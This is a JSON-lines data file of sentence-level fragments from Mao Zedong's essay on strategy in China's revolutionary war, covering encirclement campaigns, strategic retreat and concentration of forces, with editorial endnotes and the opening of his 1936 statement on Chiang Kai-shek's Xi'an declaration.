    {"text": "反对战役的持久战和战略的速决战，承认战略的持久战和战役的速决战； 反对固定的作战线和阵地战，承认非固定的作战线和运动战； 反对击溃战，承认歼灭战； 反对战略方向的两个拳头主义，承认一个拳头主义； 反对大后方制度，承认小后方制度； 反对绝对的集中指挥，承认相对的集中指挥；"},
    {"text": "第四章 “围剿”和反“围剿” ——中国内战的主要形式 十年以来，从游击战争开始的一天起，任何一个独立的红色游击队或红军的周围，任何一个革命根据地的周围，经常遇到的是敌人的“围剿”。"},
    {"text": "这种形式，过去十年是没有变化的，如果没有民族战争代替国内战争，那末，直到敌人变成弱小者、红军变成强大者那一天为止，这种形式也是不会变化的。"},
    {"text": "十年的红军战争史，就是一部反“围剿”史。 敌人的“围剿”和红军的反“围剿”，互相采用进攻和防御这两种战斗的形式，这是和古今中外的战争没有两样的。"},
    {"text": "在一次“围剿”中，敌人以进攻反对红军的防御，红军以防御反对敌人的进攻，这是反“围剿”战役的第一个阶段。 敌人以防御反对红军的进攻，红军以进攻反对敌人的防御，这是反“围剿”战役的第二个阶段。"},
    {"text": "“围剿”和反“围剿”，是战争形式的反复。 敌以进攻对我防御、我以防御对敌进攻的第一阶段，和敌以防御对我进攻、我以进攻对敌防御的第二阶段，是每一次“围剿”中战斗形式的反复。 至于战争和战斗的内容，则不是简单地反复的，而是每次不同的。"},
    {"text": "第五次“围剿”之后，因为红军极大地削弱了，南方根据地全部丧失，红军移到了西北，不是如同在南方那样处在威胁国内敌人的最重要的地位了，“围剿”的规模、情况和战斗，就比较小些，简单些，缓和些了。"},
    {"text": "广大根据地的丧失和红军的转移，这是暂时的和局部的失败，不是永远的和全部的失败，虽然这个局部是包括了党和军队和根据地的百分之九十。"},
    {"text": "这就是说，在“围剿”和反“围剿”的斗争中，我们没有由防御转到进攻，反而被敌人的进攻打破了我们的防御，我们的防御就变成了退却，敌人的进攻就变成了追击。"},
    {"text": "中国内战的特点，是“围剿”和反“围剿”的长期地反复和攻防两种战斗形式的长期地反复，并且包括着一次一万多公里的伟大的战略转移（长征） 〔16〕 这样一种东西在里面。"},
    {"text": "在一九三○年的立三路线时期，李立三同志不懂得中国内战的持久性，因此看不出中国内战发展中“围剿”又“围剿”、打破又打破的这种长期反复的规律（那时已有湘赣边界的三次“围剿” 〔17〕 ，福建的两次“围剿” 〔18〕 等），因此在红军还幼小的时代就命令红军去打武汉，命令全国举行武装起义，企图使全国革命迅速胜利。"},
    {"text": "在鄂豫皖边区根据地则有所谓“偏师” 〔19〕 说，那里的一些领导同志认为第三次“围剿” 〔20〕 失败后的国民党不过是偏师了，要进攻红军，就得由帝国主义亲身出马担当主力军。"},
    {"text": "这和江西的一些同志号召红军打南昌，反对进行使各根据地联成一片的工作，反对诱敌深入的作战，把一省胜利放在夺取省城和中心城市的基点上，以及认为“反对五次‘围剿’是革命道路和殖民地道路的决战”等等，是在原则上一致的。 这个“左”倾机会主义，种下了鄂豫皖边区反对第四次“围剿” 〔21〕 、江西中央区反对第五次“围剿”斗争中的错误路线的根苗，使红军在敌人的严重的“围剿”面前不得不处于无能的地位，给了中国革命以很大的损失。 跟否认“围剿”反复的“左”倾机会主义直接联系，而说红军根本不应该采取防御手段的一种意见，也是完全不正确的。"},
    {"text": "革命和革命战争从发生到发展，从小到大，从没有政权到夺取政权，从没有红军到创造红军，从没有革命根据地到创造革命根据地，总是要进攻的，是不能保守的，保守主义的倾向是应该反对的。"},
    {"text": "在政治上，也只是在某一种情况说来（革命前进时）是对的，移到另一种情况（革命退却时：全部退却，例如俄国在一九○六年 〔22〕 、中国在一九二七年；"},
    {"text": "他们看见自己在一个地方用突然的武装起义胜利了，或从白军中哗变出来了，一时的环境很顺利，或者虽有严重的环境而看不到，因此往往轻视敌人。"},
    {"text": "敌强我弱，原是客观地存在的现象，可是人们不愿意想一想，一味只讲进攻，不讲防御和退却，在精神上解除了防御的武装，因而把行动引到错误的方向。"},
    {"text": "红军因为和这同样的原因不能打破“围剿”的例子，则有一九二八年广东海陆丰区域的红军的失败 〔24〕 ，以及一九三二年鄂豫皖边区的红军，在所谓国民党偏师说的指导之下，使得反对第四次“围剿”丧失了措置裕如的能力的事实。"},
    {"text": "领导者们畏敌如虎，处处设防，节节抵御，不敢举行本来有利的向敌人后方打去的进攻，也不敢大胆放手诱敌深入，聚而歼之，结果丧失了整个根据地，使红军做了一万二千多公里的长征。"},
    {"text": "消极防御，又叫专守防御，又叫单纯防御。 消极防御实际上是假防御，只有积极防御才是真防御，才是为了反攻和进攻的防御。 据我所知，任何一本有价值的军事书，任何一个比较聪明的军事家，而且无论古今中外，无论战略战术，没有不反对消极防御的。"},
    {"text": "他们的战争不但在帝国主义各国组织白党进攻时，是在保卫苏维埃的口号下进行的，就是在十月起义的准备时期，也是在保卫首都的口号下进行军事动员的。"},
    {"text": "马克思说的武装起义之后一刻也不应该停止进攻 〔26〕 ，这是说乘敌不备而突然起义的群众，应该不让反动的统治者有保守政权或恢复政权的机会，趁此一瞬间把国内反动的统治势力打个措手不及，而不要满足于已得的胜利，轻视敌人，放松对于敌人的进攻，或者畏缩不前，坐失消灭敌人的时机，招致革命的失败。"},
    {"text": "“围剿”没有打破以前是防御，“围剿”一经打破就开始了进攻，仅仅是一件事情的两个阶段，而敌人的一次“围剿”和它的又一次“围剿”是衔接着的。"},
    {"text": "有时准备过早，会变为等待敌人； 等了好久而敌人未来，不得不重新发动自己的进攻。 有时我们的重新进攻刚在开始，又恰好遇到了敌人进攻的开始，把自己处在困难地位。"},
    {"text": "为着了解敌人的情况，须从敌人方面的政治、军事、财政和社会舆论等方面搜集材料。 分析这些材料的时候，要足够地估计敌人的整个力量，不可夸大敌人过去失败的程度，但也决不可不估计到敌人内部的矛盾，财政的困难，过去失败的影响等等。"},
    {"text": "这即是说，明确、坚决而充分地告诉红军人员和根据地的人民，关于敌人进攻的必然性和迫切性，敌人进攻危害人民的严重性，同时，关于敌人的弱点，红军的优良条件，我们一定要胜利的志愿，我们工作的方向等。"},
    {"text": "第三节 战略退却 战略退却，是劣势军队处在优势军队进攻面前，因为顾到不能迅速地击破其进攻，为了保存军力，待机破敌，而采取的一个有计划的战略步骤。"},
    {"text": "《水浒传》上的洪教头，在柴进家中要打林冲，连唤几个“来”“来”“来”，结果是退让的林冲看出洪教头的破绽，一脚踢翻了洪教头 〔27〕 。"},
    {"text": "春秋时候，鲁与齐 〔28〕 战，鲁庄公起初不待齐军疲惫就要出战，后来被曹刿阻止了，采取了“敌疲我打”的方针，打胜了齐军，造成了中国战史中弱军战胜强军的有名的战例。"},
    {"text": "文中指出了战前的政治准备——取信于民，叙述了利于转入反攻的阵地——长勺，叙述了利于开始反攻的时机——彼竭我盈之时，叙述了追击开始的时机——辙乱旗靡之时。"},
    {"text": "楚汉成皋之战 〔31〕 、新汉昆阳之战 〔32〕 、袁曹官渡之战 〔33〕 、吴魏赤壁之战 〔34〕 、吴蜀彝陵之战 〔35〕 、秦晋淝水之战 〔36〕 等等有名的大战，都是双方强弱不同，弱者先让一步，后发制人，因而战胜的。"},
    {"text": "然而从一九二八年五月开始，适应当时情况的带着朴素性质的游击战争基本原则，已经产生出来了，那就是所谓“敌进我退，敌驻我扰，敌疲我打，敌退我追”的十六字诀。"},
    {"text": "这时是军事原则的新发展阶段，内容大大丰富起来，形式也有了许多改变，主要地是超越了从前的朴素性，然而基本的原则，仍然是那个十六字诀。 十六字诀包举了反“围剿”的基本原则，包举了战略防御和战略进攻的两个阶段，在防御时又包举了战略退却和战略反攻的两个阶段。"},
    {"text": "然而从一九三二年一月开始，在党的“三次‘围剿’被粉碎后争取一省数省首先胜利”那个包含着严重原则错误的决议发布之后，“左”倾机会主义者就向着正确的原则作斗争，最后是撤消了一套正确原则，成立了另一整套和这相反的所谓“新原则”，或“正规原则”。"},
    {"text": "准备反攻，须选择和造成有利于我不利于敌的若干条件，使敌我力量对比发生变化，然后进入反攻阶段。 依我们的过去情形说来，大概须在退却阶段中取得下列诸种条件中至少二种以上，才算是有利于我不利于敌，才好使自己转入反攻。"},
    {"text": "如果进攻之敌在数量和强度上都超过我军甚远，我们要求强弱的对比发生变化，便只有等到敌人深入根据地，吃尽根据地的苦楚，如同第三次“围剿”时蒋介石某旅参谋长所说的“肥的拖瘦，瘦的拖死”，又如“围剿”军西路总司令陈铭枢所说的“国军处处黑暗，红军处处明亮”之时，才能达到目的。"},
    {"text": "此时双方对比，往往能达到某种程度的均衡，或者敌军的绝对优势改变到相对优势，我军的绝对劣势改变到相对劣势，甚至有敌军劣于我军，而我军反优于敌军的事情。"},
    {"text": "江西反对第三次“围剿”时，红军实行了一种极端的退却（红军集中于根据地后部），然而非此是不能战胜敌人的，因为当时的“围剿”军超过红军十倍以上。"},
    {"text": "须知任何高明的敌军指挥员，在相当长时间中，要不发生一点过失，是不可能的，因此我们乘敌之隙的可能性，总是存在的。 敌人会犯错误，正如我们自己有时也弄错，有时也授敌以可乘之隙一样。"},
    {"text": "决定退却终点究在何处，须以整个形势作出发点。 在局部形势看来有利于我转入反攻，如果不是同时在全体形势看来也对我有利时，则据此决定退却终点，就是不正确的。"},
    {"text": "有时退却终点应该选在根据地的前部，例如江西第二次、第四次反“围剿”，陕甘第三次反“围剿”时。 有时须在根据地的中部，例如江西第一次反“围剿”时。 有时则在根据地的后部，例如江西第三次反“围剿”时。"},
    {"text": "如果情况并不这样严重，或者情况的严重性简直使红军连在根据地也无法开始反攻，或者反攻不利需要再退以求局势之变化时，那末，把退却终点选在白区也是应该承认的，至少在理论上是应该承认的，虽然我们过去很少这种经验。"},
    {"text": "第一种终点，例如江西第一次反“围剿”时，如果红军没有内部不统一和地方党的分裂，即立三路线和AB 团 〔42〕 两个困难问题存在，是可以设想在吉安、南丰、樟树三点之间集中兵力举行反攻的。"},
    {"text": "第二种终点，例如江西第三次反“围剿”时，假如当时敌人进攻的规模没有那样大，而敌有一路从闽赣交界的建宁、黎川、泰宁前进，这一路的力量又适合于我们的攻击时，也可以设想红军就在福建西部的白区集中，首先打破此敌，不必绕道千里走瑞金到兴国。 第三种终点，同样例如上述江西第三次反“围剿”时，假如敌之主力不是向西而是向南，我们也许被迫着退到会昌、寻乌、安远地区（那里是白色区域），引敌更向南进，然后红军由南而北向根据地内部打去，这时北面根据地内部的敌军当不是很多的了。"},
    {"text": "他们看问题仅从一局部出发，没有能力通观全局，不愿把今天的利益和明天的利益相联结，把部分利益和全体利益相联结，捉住一局部一时间的东西死也不放。"},
    {"text": "对的，一切依照当时具体情况看来对于当时的全局和全时期有利益的、尤其是有决定意义的一局部和一时间，是应该捉住不放的，不然我们就变成自流主义，或放任主义。"},
    {"text": "退却开始时机的选择，退却终点的选择，政治上对干部和人民的说服，都是困难问题，都必须给予解决。 退却开始时机的问题是具有重要意义的。"},
    {"text": "惟独第三次战役，因为不料敌人经过第二次战役那么惨败之后，新的进攻来得那么快（一九三一年五月三十一日我们结束第二次反“围剿”的作战，七月一日蒋介石就开始了他们的第三次“围剿”），红军仓卒地绕道集中，就弄得十分疲劳。"},
    {"text": "战略退却，在干部和人民还没有经验时，在军事领导的权威还没有达到把战略退却的决定权集中到最少数人乃至一个人的手里而为干部所信服的地步时，说服干部和人民的问题是一个十分困难的问题。 由于干部没有经验，对于战略退却不相信，在第一次和第四次反“围剿”的初期，第五次反“围剿”的整期，在这个问题上都遭遇了很大的困难。"},
    {"text": "第一次反“围剿”时，由于立三路线的影响，干部的意见，在没有被说服以前，不是退却而是进攻。 第四次反“围剿”时，由于军事冒险主义的影响，干部的意见是反对准备。 第五次反“围剿”时，干部的意见开头是继续军事冒险主义反对诱敌深入的观点，后来是变成了军事保守主义。"},
    {"text": "第四节 战略反攻 战胜绝对优势敌人的进攻，依靠于在战略退却阶段中所造成的、有利于我不利于敌的、比较敌人开始进攻时起了变化的形势，而这种形势是由各种条件造成的。"},
    {"text": "然而有利于我不利于敌的条件和形势的存在，还没有使敌人失败。 这种条件和形势，具备着决定胜败的可能性，但还不是胜败的现实性，还没有实现两军的胜负。 实现这个胜负，依靠两军的决战。 只有决战，才能解决两军之间谁胜谁败的问题。"},
    {"text": "反攻是一个长过程，是防御战的最精彩最活跃的阶段，也就是防御战的最后阶段。 所谓积极防御，主要地就是指的这种带决战性的战略的反攻。 条件和形势，不仅仅在战略退却阶段中造成，在反攻阶段中继续地造成着。"},
    {"text": "假使一个到几个败仗不是属于敌军，而是属于我军，那末，条件和形势的有利与否，也变到相反的方面。 就是说，敌之不利减少，我之不利开始发生，以至扩大起来。"},
    {"text": "无论何方失败，都直接地、迅速地引起失败者方面的一种新的努力，就是企图挽救危局的努力，使自己脱出这种新出现的不利于我有利于敌的条件和形势，而重新创造出有利于我不利于敌的条件和形势去压迫对方。 胜利者方面的努力和这相反，力图发展自己的胜利，给敌人更大的损害，务求增加或发展有利于我的条件和形势，而务求不让对方完成其脱出不利和挽回危局的企图。"},
    {"text": "所以，不论在何方说来，决战阶段的斗争，是全战争或全战役中最激烈、最复杂、最变化多端的，也是最困难、最艰苦的，在指挥上说来，是最不容易的时节。"},
    {"text": "因为这个理由，虽然这里把作战的许多问题统统说在战略防御的反攻部门中，而在战略进攻部门中只说些另外的问题，以避重复，但我们应用时，却不可忽略其相同点，也不可忽略其差异点。"},
    {"text": "红军苦战后未休息，也未补充（三万人左右），又绕道千里回到赣南根据地西部之兴国集中，时敌已分路直迫面前。 在上述情况下，我们决定的第一个方针，是由兴国经万安突破富田一点，然后由西而东，向敌之后方联络线上横扫过去，让敌主力深入赣南根据地置于无用之地，定此为作战之第一阶段。"},
    {"text": "因此我得以先打其西路于宜黄南部地区，一举消灭李明、陈时骥两个师。 敌从左路分出两个师配合中路再进，我又得消灭其一个师于宜黄南部地区。"},
    {"text": "上述第一次至第五次反“围剿”时期我军作战的经验，证明处在防御地位的红军，欲打破强大的“进剿”军，反攻的第一个战斗，关系非常之大。"},
    {"text": "第一次反“围剿”时先想打谭道源，仅因敌不脱离源头那个居高临下的阵地，我军两度开进，却两度忍耐撤回，过了几天找到了好打的张辉瓒。 第二次反“围剿”时，我军开进到东固，仅因等待王金钰脱离其富田巩固阵地，宁可冒犯走漏消息的危险，拒绝一切性急快打的建议，迫敌而居，等了二十五天之久，终于达到了要求。 第三次反“围剿”虽是那样急风暴雨的局面，千里回师，又被敌人发觉了我们迂回其侧后的计划，但我们仍忍耐折回，改用中间突破，终于在莲塘打着第一个好仗。 第四次反“围剿”时攻南丰不克，毅然采取了退却步骤，终于转到敌之右翼，集中东韶地区，开始了宜黄南部的大胜仗。 只有第五次反“围剿”时全不知初战关系之大，震惊于黎川一城之失，从挽救的企图出发，北上就敌，于洵口不预期遭遇战胜利（消灭敌一个师）之后，却不把此战看作第一战，不看此战所必然引起的变化，而贸然进攻不可必胜的硝石。"},
    {"text": "这就是说，即使初战打了一个胜仗，若这个仗不但不于全战役有利，反而有害时，则这个仗虽胜也只算败了（例如第五次“围剿”时的洵口战斗）。"},
    {"text": "因此在打第一仗之先，必须想到第二、第三、第四以至最后一仗大体上如何打法，我挨次的一仗胜了，敌军全局将起如何变化，假若败了，又将起如何变化。"},
    {"text": "人人皆知以多胜少是最好的办法，然而很多人不能做，相反地每每分散兵力，原因就在于指导者缺乏战略头脑，为复杂的环境所迷惑，因而被环境所支配，失掉自主能力，采取了应付主义。"},
    {"text": "防御战本来容易陷入被动地位，防御战大不如进攻战之能够充分地发挥主动权。 然而防御战是能够在被动的形式中具有主动的内容的，是能够由形式上的被动阶段转入形式上内容上的主动阶段的。"},
    {"text": "要完全达到这种目的，集中兵力、运动战、速决战、歼灭战，都是必要的条件。 而集中兵力，是首先的和主要的。 集中兵力之所以必要，是为了改变敌我的形势。 第一，是为了改变进退的形势。 过去是敌进我退，现在是企图达到我进敌退之目的。 集中兵力一战而胜，这个目的在本战斗就达到了，也给予影响于全战役。 第二，是为了改变攻守的形势。"},
    {"text": "虽然在整个战略防御中并没有脱离防御性质，然而反攻和退却相较，不但形式上，而且内容上，是起了变化的东西。 反攻是战略防御和战略进攻之间的过渡的东西，带着战略进攻前夜的性质，集中兵力就为达此目的。"},
    {"text": "将敌军对我军的一个大“围剿”，改为我军对敌军的许多各别的小围剿。 将敌军对我军的战略上的分进合击，改为我军对敌军的战役或战斗上的分进合击。 将敌军对我军的战略上的优势，改为我军对敌军的战役或战斗上的优势。 将战略上处于强者地位的敌军，使之在战役或战斗上处于弱者的地位。 同时，将自己战略上的弱者地位，使之改变为战役上或战斗上的强者的地位。 这即是所谓内线作战中的外线作战，“围剿”中的围剿，封锁中的封锁，防御中的进攻，劣势中的优势，弱者中的强者，不利中的有利，被动中的主动。"},
    {"text": "照我的意见，在有强大敌军存在的条件下，无论自己有多少军队，在一个时间内，主要的使用方向只应有一个，不应有两个。 我不反对作战方向有两个或两个以上，但主要的方向，在同一个时间内，只应有一个。"},
    {"text": "一九三一年一月的江西宁都县东韶地区打谭道源的作战，一九三一年九月的江西兴国县高兴圩地区打十九路军的作战，一九三二年七月广东南雄县水口圩地区打陈济棠的作战，一九三三年十二月江西黎川县团村地区打陈诚的作战，都吃了兵力不集中的亏。"},
    {"text": "如像水口圩和团村这一类的仗，本来一般算作胜仗，而且还算作大胜仗的（前者击溃陈济棠二十个团 〔51〕 ，后者击溃陈诚十二个团），然而我们历来就不欢迎这种胜仗，在某种意义上简直还可以说它是败仗。"},
    {"text": "“六路分兵”，“全线抵御”，以为可以制敌，结果为敌所制，原因在于惧怕丧失土地。 集中主力于一个方向，其他方向剩下了钳制力量，自然不免使土地受到损失。"},
    {"text": "敌人的第一、二、三、四次“围剿”都使我们遭受了土地的损失，特别是在敌人第三次“围剿”时江西红军根据地几乎全部丧失了，然而结果我们的土地不但都恢复了，而且还扩大了。"},
    {"text": "我们主张的集中兵力，是建立在保证对于战场作战的绝对或相对优势的原则上。 对于强敌，或关系紧要的战场作战，应以绝对优势的兵力临之，例如一九三○年十二月三十日第一次反“围剿”的第一仗，集中四万人打张辉瓒的九千人。 对于弱敌或不关紧要的战场作战，临之以相对优势的兵力也就够了，例如一九三一年五月三十一日第二次反“围剿”的最后一战，向建宁打七千人的刘和鼎师，红军只用了一万多人。"},
    {"text": "相对劣势，例如某一区域仅仅有一支不大的红军（不是有兵而不集中），为着打破某一优势敌人的进攻，在人民、地形或天候等条件能给我们以大的援助时，以游击队或小支队钳制其正面及一翼，红军集中全力突然袭击其另一翼的一部分，当然也是必要的，并且是可以胜利的。"},
    {"text": "当我袭击其一翼的一部分时，兵力的对比仍适用以优势对劣势、以多胜少的原则。 绝对劣势，例如游击队袭击白军大队伍，仅仅是袭击其一小部分，同样适用上述的原则。"},
    {"text": "在没有广大兵力，没有弹药补充，每一个根据地打来打去仅只有一支红军的条件下，阵地战对于我们是基本上无用的。 阵地战，对于我们，不但防御时基本地不能用它，就是进攻时也同样不能用。"},
    {"text": "大方向虽在一个时期中是不变更的，然而大方向内的小方向则是随时变更的，一个方向受了限制，就得转到另一个方向去。 一个时期之后大方向也受了限制，就连这种大方向也得变更了。"},
    {"text": "今天我们还处在内战的战略防御时期，我们的政权距离一个完全的国家形态还很远，我们军队的数量和技术较之敌人还差得远，我们的领土还很小，我们的敌人时时刻刻想要消灭我们才快活。"},
    {"text": "然而在我们面前有几种不好打的情形：第一是当面的敌人多了不好打； 第二是当面敌人虽不多，但它和邻近敌人十分密接，也有时不好打； 第三，一般地说来，凡不孤立而占有十分巩固阵地之敌都不好打； 第四是打而不能解决战斗时，不好再继续打。"},
    {"text": "从井冈山到江西第一次反“围剿”前为第一个阶段，这个阶段中游击性和流动性是很大的，红军还在幼年时代，根据地还是游击区。 从第一次反“围剿”到第三次反“围剿”为第二个阶段，这个阶段中游击性和流动性就缩小了许多，方面军已经建立，包含几百万人口的根据地已经存在。"},
    {"text": "第五次反“围剿”时人们错误地否定了以前本来是正确的方针，我们今天又正确地否定了第五次反“围剿”时人们的错误方针，复活了从前的正确方针。"},
    {"text": "另一方面是运动战的方针，是现在还需要的战略和战役作战的游击性，是无法阻止的根据地的流动性，是根据地建设计划的灵活变更性，是在红军建设上的不要不适时宜的正规化。"},
    {"text": "在这一方面拒绝历史事实，反对保留有用的东西，贸然地脱离现阶段，盲目地跑向可望不可即的、在当前没有现实意义的所谓“新阶段”，同样是不许可的，是有害的，是不利于当前作战的。"},
    {"text": "我们要把所有一切过去的优良的东西都总结起来，成为有系统的更发展的更丰富的军事路线，以便争取在今天战胜敌人，并且准备在将来转变到新阶段去。"},
    {"text": "运动战的实行方面，问题是很多的，例如侦察、判断、决心、战斗部署、指挥、荫蔽、集中、开进、展开、攻击、追击、袭击、阵地攻击、阵地防御、遭遇战、退却、夜战、特种战斗、避强打弱、围城打援、佯攻、防空、处在几个敌人之间、超越敌人作战、连续作战、无后方作战、养精蓄锐之必要等等。"},
    {"text": "第八节 速决战 战略的持久战，战役和战斗的速决战，这是一件事的两方面，这是国内战争的两个同时并重的原则，也可以适用于反对帝国主义的战争。"},
    {"text": "干了十年的革命战争，对于别的国家也许是值得惊奇的，对于我们却好似八股文章还只作了破题、承题和起讲 〔52〕 ，许多热闹文章都还在后面。"},
    {"text": "因为中国的反动势力，是许多帝国主义支持的，国内革命势力没有聚积到足以突破内外敌人的主要阵地以前，国际革命势力没有打破和钳制大部分国际反动势力以前，我们的革命战争依然是持久的。"},
    {"text": "只有在“围城打援”的方针下，目的不在打围敌，而在打援敌，对围敌作战是准备着相当地持久的，但对援敌仍然是速决。 战略防御时固守钳制方面的据点，战略进攻时打孤立无援之敌，消灭根据地中的白色据点，这些时候也常常给予战役或战斗以持久方针。"},
    {"text": "一个革命根据地的最高军事政治领导机关，估计到根据地的这些条件，估计到敌方情况，不为敌之其势汹汹所吓倒，不为尚能忍耐的困难所沮丧，不为某些挫折而灰心，给予必要的耐心和持久，是完全必要的。"},
    {"text": "江西打破第一次“围剿”，从初战到结束只有一星期，打破第二次“围剿”只有半个月，打破第三次“围剿”就熬上了三个月，第四次是三星期，第五次就熬了整整的一年。"},
    {"text": "除了战役战斗计划力争集中兵力和运动战等等条件、务期在内线（在根据地）消灭敌之有生力量、迅速解决“围剿”以外，当“围剿”已经证明无法在内线解决时，应该使用红军主力突破敌之围攻线，转入我之外线即敌之内线去解决这个问题。"},
    {"text": "第五次反“围剿”进行两个月之后，当福建事变出现之时，红军主力无疑地应该突进到以浙江为中心的苏浙皖赣地区去，纵横驰骋于杭州、苏州、南京、芜湖、南昌、福州之间，将战略防御转变为战略进攻，威胁敌之根本重地，向广大无堡垒地带寻求作战。"},
    {"text": "用这种方法，就能迫使进攻江西南部福建西部地区之敌回援其根本重地，粉碎其向江西根据地的进攻，并援助福建人民政府，——这种方法是必能确定地援助它的。"},
    {"text": "到打了一年之久的时候，虽已不利于出浙江，但还可以向另一方向改取战略进攻，即以主力向湖南前进，不是经湖南向贵州，而是向湖南中部前进，调动江西敌人至湖南而消灭之。"},
    {"text": "给敌以杀伤，是作为给敌以歼灭的手段而采取的，否则便没有意义。 因给敌以杀伤而给我以消耗，又因给敌以歼灭而给我以补充，这样就不但抵偿了我军的消耗，而且增加了我军的力量。"},
    {"text": "在一九三五年十月中共中央移到陕北以后，毛泽东随即在十二月作了《论反对日本帝国主义的策略》的报告，系统地解决了第二次国内革命战争时期党的政治路线上的问题。"},
    {"text": "当时他放弃对于农民群众、城市小资产阶级和中等资产阶级的领导权，尤其是放弃对于武装力量的领导权，主张一切联合，否认斗争，对国民党右派反共反人民的阴谋活动采取妥协投降的政策，以致当大地主大资产阶级的代表蒋介石、汪精卫先后背叛革命，向人民突然袭击的时候，中国共产党和广大革命人民不能组织有效的抵抗，使第一次国内革命战争遭到失败。"},
    {"text": "一九三○年六月十一日，中共中央政治局在李立三领导下通过了《新的革命高潮与一省或几省的首先胜利》决议案，主张全国各地都要准备马上起义。"},
    {"text": "不久，订出了组织全国中心城市武装起义和集中全国红军进攻中心城市的冒险计划，随后又将党、青年团、工会的各级领导机关，合并为准备武装起义的各级行动委员会，使一切经常工作陷于停顿。"},
    {"text": "〔6〕 一九三一年一月，在中国共产党的六届四中全会上，王明（陈绍禹）等人在共产国际及其代表米夫的支持下，取得了在党中央的领导地位。"},
    {"text": "一九三五年一月，中共中央政治局召开遵义会议，确立了以毛泽东为代表的新的中央的正确领导，从而结束了王明“左”倾冒险主义在党中央的统治。 〔7〕 遵义会议指一九三五年一月长征途中，中共中央政治局在贵州遵义举行的扩大会议。 这次会议集中讨论和纠正了军事上和组织上的错误，结束了王明“左”倾冒险主义在党中央的统治，确立了以毛泽东为代表的新的中央的正确领导，在最危急的关头挽救了红军，挽救了党。"},
    {"text": "”（《列宁全集》第39卷，人民出版社1986年版，第128页） 〔12〕 中国共产党湘赣边界第一次代表大会于一九二八年五月在江西省宁冈县茅坪召开。"},
    {"text": "这次大会分析了当时的政治形势，讨论了发展党的组织、深入土地革命、巩固和扩大红军及革命根据地等项任务，初步回答了红军中有些人提出的“红旗到底打得多久”的疑问。"},
    {"text": "十一月上旬成立的红四方面军，为破坏敌军的“围剿”计划，主动出击，至一九三二年六月，先后发起了黄安、商（城）潢（川）、苏家埠、潢（川）光（山）四次战役，歼敌约六万人，使国民党军队对鄂豫皖革命根据地的第三次“围剿”计划彻底破产。 〔21〕 一九三二年六月蒋介石调集三十余万军队对鄂豫皖革命根据地进行第四次“围剿”。 当时担任中共鄂豫皖中央分局书记的张国焘，被前三次反“围剿”的胜利冲昏头脑，在国民党军队的严重“围剿”面前，没有领导红军进行反“围剿”的准备，而是强令红军围攻敌军坚固设防的城市，准备夺取武汉。"},
    {"text": "参见列宁《共产主义运动中的“左派”幼稚病》第三节（《列宁全集》第39卷，人民出版社1986年版，第6—11页）和《联共（布）党史简明教程》第三章第五、第六两节（人民出版社1975年版，第88—105页）。"},
    {"text": "〔23〕 布列斯特条约是一九一八年三月苏俄在俄国西部布列斯特—里托夫斯克（今布列斯特）同德国、奥匈帝国、保加利亚、土耳其订立的和约。"},
    {"text": "这个和约的签订，使苏维埃共和国赢得了时间去巩固无产阶级的政权，调整经济，建立红军，使无产阶级保持了对农民的领导，集聚了力量，得以在一九一八年至一九二○年击溃白军和英、美、法、日、波等国武装干涉者。"},
    {"text": "〔25〕 一九三六年七月，红四方面军和红二方面军会合后，由于中共中央的积极争取，并经过朱德、刘伯承等以及四方面军广大指战员的斗争，张国焘被迫同意与二方面军共同北上，于同年十月到达甘肃会宁。"},
    {"text": "〔37〕 一九二七年八月一日，中国共产党为反对蒋介石、汪精卫的反革命，继续一九二四年至一九二七年的革命事业，在江西南昌发动了武装起义。 起义部队在中共前敌委员会书记周恩来和贺龙、叶挺、朱德、刘伯承等领导下，经过激烈战斗，占领了南昌城。"},
    {"text": "〔39〕 一九二七年革命失败以后，中国共产党在湖南、湖北、江西、广东等省发动秋收起义。 其中最著名的是九月间毛泽东在湖南、江西边界的修水、铜鼓、萍乡、醴陵、平江、浏阳等地领导的起义。"},
    {"text": "〔49〕 蒋光鼐原是第十九路军总指挥，第二次“围剿”时，由蔡廷锴任代总指挥。 第三次“围剿”时，第十九路军蔡廷锴第六十师、戴戟第六十一师和韩德勤第五十二师被编为右翼集团军第一军团，蔡廷锴任代总指挥。"},
    {"text": "这里的“蒋光鼐、蔡廷锴、韩德勤”，应是“蔡廷锴、戴戟、韩德勤”； 下文的“蒋、蔡、韩”应是“蔡、戴、韩”，“蒋光鼐、蔡廷锴”应是“蔡廷锴、戴戟”。"},
    {"text": "〔52〕 八股文是中国明、清封建皇朝考试制度所规定的一种特殊文体。 八股文每篇由破题、承题、起讲、入手、起股、中股、后股、束股八部分组成。"},
    {"text": "毛泽东这里用写作八股文由一部分到另一部分的展开过程，来比喻革命发展的各种阶段。 但在通常的场合，毛泽东则用八股文这类东西去比喻和讽刺教条主义。"},
    {"text": "关于蒋介石声明的声明 关于蒋介石声明的声明 （一九三六年十二月二十八日） 蒋介石氏在西安接受张学良杨虎城二将军和西北人民的抗日的要求 〔1〕 ，首先命令进行内战的军队撤离陕甘两省，这是蒋介石氏转变其十年错误政策的开始。"},
    {"text": "蒋介石氏十二月二十六日在洛阳发表了一个声明，即所谓《对张杨的训词》 〔3〕 ，内容含含糊糊，曲曲折折，实为中国政治文献中一篇有趣的文章。"},
    {"text": "蒋氏果欲从这次事变获得深刻的教训，而为建立国民党的新生命有所努力，结束其传统的对外妥协、对内用兵、对民压迫的错误政策，将国民党引导到和人民愿望不相违背的地位，那末，他就应该有一篇在政治上痛悔已往开辟将来的更好些的文章，以表现其诚意。"},
    {"text": "蒋氏在西安曾说了将要认真抗日的话，当不至一出西安又肆力攻击革命势力，因为不但信义问题关系蒋氏及其一派的政治生命，而且在实际的政治道路上，在蒋氏及其一派面前横着一种已经膨胀起来而不利于他们的势力，这就是在西安事变中欲置蒋氏于死地的所谓讨伐派。"},
    {"text": "在这种情形下，共产党坚决揭破日本帝国主义和中国讨伐派汪精卫 〔5〕 、何应钦 〔6〕 等的阴谋，坚决主张和平解决这次事变，这和张杨二将军及宋子文 〔7〕 氏等国民党人的主张可谓不谋而合。"},
    {"text": "蒋氏倘能一洗国民党十年反动政策的污垢，彻底地改变他的对外退让、对内用兵、对民压迫的基本错误，而立即走上联合各党各派一致抗日的战线，军事上政治上俱能实际采取救国步骤，则共产党自当给他以赞助。"},
    {"text": "注 释 〔1〕 以张学良为首的国民党东北军和以杨虎城为首的国民党第十七路军，因受中国红军和人民抗日运动的影响，同意中国共产党提出的建立抗日民族统一战线的主张，要求蒋介石联共抗日。"},
    {"text": "他积极筹谋掀起内战，部署国民党军队沿陇海路进逼陕西，调派空军轰炸渭南等地，并计划轰炸西安，炸死蒋介石，以便取蒋介石的地位而代之。"},
